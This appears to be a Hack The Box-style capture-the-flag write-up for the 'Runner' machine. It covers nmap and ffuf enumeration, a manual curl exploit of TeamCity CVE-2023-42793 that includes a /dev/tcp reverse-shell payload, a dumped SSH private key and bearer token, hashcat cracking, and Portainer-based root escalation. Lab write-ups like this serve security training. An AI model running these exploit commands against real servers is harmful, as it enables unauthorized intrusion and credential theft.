Week 1. Runner

TL;DR

This is an Ubuntu 22.04 machine hosting a vulnerable version of TeamCity (CVE-2023-42793) which can be exploited to get a foothold into the system. Then, we locate private keys and usernames stored in the file system and move laterally to users with privileges to read the user flag. Regarding privilege escalation, a Portainer application running as root is abused.

KEYWORDS

TeamCity, CVE-2023-42793, port forwarding, Portainer.

REFERENCES

https://www.jetbrains.com/teamcity/

https://www.cvedetails.com/cve/CVE-2023-42793/

https://www.prio-n.com/blog/cve-2023-42793-attacking-defending-JetBrains-TeamCity

https://github.com/hotplugin0x01/CVE-2023-42793

ENUMERATION

Port scan.

> nmap $target -p- --min-rate=5000 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-20 15:31 EDT
Nmap scan report for 10.10.11.13
Host is up, received user-set (0.078s latency).
Not shown: 64465 closed tcp ports (conn-refused), 1067 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack
80/tcp   open  http     syn-ack
8000/tcp open  http-alt syn-ack
 
Nmap done: 1 IP address (1 host up) scanned in 14.57 seconds

Enumerate the open ports.

> nmap $target -p22,80,8000 -sV -sC -Pn -vv -n      
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-20 15:31 EDT
Nmap scan report for 10.10.11.13
Host is up, received user-set (0.072s latency).
Scanned at 2024-04-20 15:31:57 EDT for 12s
 
PORT     STATE SERVICE     REASON  VERSION
22/tcp   open  ssh         syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp   open  http        syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
8000/tcp open  nagios-nsca syn-ack Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Nmap done: 1 IP address (1 host up) scanned in 12.86 seconds

Fuzz for subdomains.

> ffuf -c -w /usr/share/seclists/Discovery/DNS/namelist.txt -fc 302,404 -t 100 -u http://runner.htb -H "Host: FUZZ.runner.htb"
 
        /'___\  /'___\           /'___\      
       /\ \__/ /\ \__/  __  __  /\ \__/      
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\     
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/     
         \ \_\   \ \_\  \ \____/  \ \_\      
          \/_/    \/_/   \/___/    \/_/      
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://runner.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.runner.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 302,404
________________________________________________
 
teamcity                [Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 86ms]
:: Progress: [151265/151265] :: Job [1/1] :: 163 req/sec :: Duration: [0:02:56] :: Errors: 0 ::

Add to hosts file and enumerate with Firefox.

A Teamcity v.2023.05.03 portal comes into view. This is a package delivery tool for developers (https://www.jetbrains.com/teamcity/).

USER

Looking for Teamcity vulnerabilities, I came across this one: https://www.cvedetails.com/cve/CVE-2023-42793/

Also, I found this interesting site: https://www.prio-n.com/blog/cve-2023-42793-attacking-defending-JetBrains-TeamCity

There are several POCs in GitHub but couldn't make any of them work, so I decided to exploit the application manually. This was also used as a reference: https://github.com/hotplugin0x01/CVE-2023-42793

First, delete any previous authentication token querying this endpoint /app/rest/users/<userLocator>/tokens/RPC2

> curl –X DELETE "http://teamcity.runner.htb/app/rest/users/id:1/tokens/RPC2"

And create a token for yourself.

> curl -X POST "http://teamcity.runner.htb/app/rest/users/id:1/tokens/RPC2"
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><token name="RPC2" creationTime="2024-04-21T17:25:01.502Z" value="eyJ0eXAiOiAiVENWMiJ9.MlF2QndBSlJYSXdQSUJYY2VxZWN4QTBCLWdR.NGQ2OTY2ZmUtOWY4Yi00MWFhLThkYTgtOTY3OTAyY2E1N2E2"/>

Next step is to configure the debug API to enable admins to trigger configuration reloads, thus enabling arbitrary RCE. For this, use the previously obtained token.

> curl –X POST "http://teamcity.runner.htb//admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true" -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.MlF2QndBSlJYSXdQSUJYY2VxZWN4QTBCLWdR.NGQ2OTY2ZmUtOWY4Yi00MWFhLThkYTgtOTY3OTAyY2E1N2E2" -H "Content-Type: text/plain"

Now you can issue commands. Insert the binary name in the exePath parameter, and the rest of arguments in as many params fields as you need. The following is an example issuing a reverse shell payload (/bin/bash –c bash -i >& /dev/tcp/10.10.xxx.xxx/1919 0>&1).

> curl –X POST "http://teamcity.runner.htb/app/rest/debug/processes?exePath=/bin/bash&params=-c&params=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.xxx.xxx%2F1919%200%3E%261" -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.MlF2QndBSlJYSXdQSUJYY2VxZWN4QTBCLWdR.NGQ2OTY2ZmUtOWY4Yi00MWFhLThkYTgtOTY3OTAyY2E1N2E2" -H "Content-Type: text/plain"
<html>
<head><title>504 Gateway Time-out</title></head>
<body>
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>

A reverse shell for user tcuser is received on port 1919.

At a first glance, this looks like a container, let's have a look at the env variables to verify this.

> env
TEAMCITY_LOGS_PATH=/opt/teamcity/bin/../logs
HOSTNAME=647a82f29ca0
LANGUAGE=en_US:en
JAVA_HOME=/opt/java/openjdk
***TEAMCITY_ENV=container***
PWD=/
TEAMCITY_LOGS=/opt/teamcity/logs
TEAMCITY_RESTART_LOCK_FILE_PATH=/opt/teamcity/bin/../logs/teamcity.lock
CATALINA_OPTS= -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 -server -Xmx2g -XX:ReservedCodeCacheSize=640m -Dteamcity.configuration.path="../conf/teamcity-startup.properties" -Dlog4j2.configurationFile="file:/opt/teamcity/bin/../conf/teamcity-server-log4j.xml" -Dteamcity_logs="/opt/teamcity/bin/../logs" -Djava.awt.headless=true
TEAMCITY_SERVER_MEM_OPTS=-Xmx2g -XX:ReservedCodeCacheSize=640m
TEAMCITY_DATA_PATH=/data/teamcity_server/datadir
HOME=/opt/teamcity
LANG=C.UTF-8
CATALINA_PID=/opt/teamcity/bin/../logs/teamcity.pid
TEAMCITY_SERVER_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
TEAMCITY_BIN_DIRECTORY=/opt/teamcity/bin
TEAMCITY_SERVER_SCRIPT=/opt/teamcity/bin/teamcity-server.sh
SHLVL=2
JDK_JAVA_OPTIONS= --add-opens jdk.management/com.sun.management.internal=ALL-UNNAMED -XX:+IgnoreUnrecognizedVMOptions --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED
TEAMCITY_DIST=/opt/teamcity
CATALINA_TMPDIR=/opt/teamcity/temp
LC_ALL=en_US.UTF-8
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
OLDPWD=/opt/teamcity/conf

Looking for private keys in the file system, we find this one.

> find / -name id_rsa 2> /dev/null
/data/teamcity_server/datadir/config/projects/AllProjects/pluginData/ssh_keys/id_rsa
 
> cat /data/teamcity_server/datadir/config/projects/AllProjects/pluginData/ssh_keys/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAlk2rRhm7T2dg2z3+Y6ioSOVszvNlA4wRS4ty8qrGMSCpnZyEISPl
htHGpTu0oGI11FTun7HzQj7Ore7YMC+SsMIlS78MGU2ogb0Tp2bOY5RN1/X9MiK/SE4liT
njhPU1FqBIexmXKlgS/jv57WUtc5CsgTUGYkpaX6cT2geiNqHLnB5QD+ZKJWBflF6P9rTt
zkEdcWYKtDp0Phcu1FUVeQJOpb13w/L0GGiya2RkZgrIwXR6l3YCX+mBRFfhRFHLmd/lgy
...
axTWDMGzuA9dg6YZoUrzLWcSU8cBd+iMvulqkyaGud83H3C17DWLKAztz7pGhT8mrWy5Ox
KzxjsB7irPtZxWmBUcFHbCrOekiR56G2MUCqQkYfn6sJ2v0/Rp6PZHNScdXTMDEl10qtAW
QHkfhxGO8gimrAvjruuarpItDzr4QcADDQ5HTU8PSe/J2KL3PY7i4zWw9+/CyPd0t9yB5M
KgK8c9z2ecgZsAAAALam9obkBydW5uZXI=
-----END OPENSSH PRIVATE KEY-----

Nice to know but useless for the moment since we don't have an username, need to look further. Found several database backups here /data/teamcity_server/datadir/backup

> ls -hal
total 860K
drwxr-x--- 2 tcuser tcuser 4.0K Apr 21 16:43 .
drwxr-xr-x 7 tcuser tcuser 4.0K Apr 21 16:02 ..
-rw-r----- 1 tcuser tcuser 265K Apr 21 14:53 TeamCity_Backup_20240421_145357.zip
-rw-r----- 1 tcuser tcuser 289K Apr 21 16:35 TeamCity_Backup_20240421_163536.zip
-rw-r----- 1 tcuser tcuser 289K Apr 21 16:43 TeamCity_Backup_20240421_164327.zip

And inside TeamCity_Backup_20240421_145357.zip, in the database_dump folder, we find a dump for the users table that contains hashes for users john@runner.htb and matthew@runner.htb

John's seems uncrackable, though the other one (Matthew's) is (Blowfish module).

> hashcat -m 3200 -a 0 -d 1 hash.txt .\rockyou.txt

Take note of this password, we will use it afterwards. Now that we have 2 usernames we can test the private key we found before. It works with username john and we are able to get an SSH shell in the host.

Which can be used to retrieve the user flag.

ROOT

Start from the SSH shell for user john and take the opportunity to enumerate the current user and the system.

> id && whoami
uid=1001(john) gid=1001(john) groups=1001(john)
 
> uname -a && cat /etc/os-release
Linux runner 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

There is something listening on port 9000.

> netstat -lnput
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name   
tcp        0      0 127.0.0.1:5005          0.0.0.0:*               LISTEN      -                  
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -                  
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                  
tcp        0      0 127.0.0.1:9443          0.0.0.0:*               LISTEN      -                  
tcp        0      0 127.0.0.1:8111          0.0.0.0:*               LISTEN      -                  
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                  
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                  
tcp6       0      0 :::8000                 :::*                    LISTEN      -                  
tcp6       0      0 :::80                   :::*                    LISTEN      -                  
tcp6       0      0 :::22                   :::*                    LISTEN      -                  
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                  
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

Forward the port to Kali and enumerate with Firefox.

> ssh -i id_rsa -L 9000:127.0.0.1:9000 john@runner.htb

A Portainer portal comes into view, here we can enter the Matthew's credential that we cracked before.

Next step is to generate a volume with the following parameters.

Name

Value

device

bind

type

none

Then create a container using this image:

sha256:ca2b0f26964cf2e80ba3e084d5983dab293fdb87485dc6445f3f7bbfc89d7459

Using the previous volume.

Don't forget to select the option Interactive & TTY (-i -t)

Once the container is started, execute command /bin/bash as user root in the console.

A shell pops up.

You are root.

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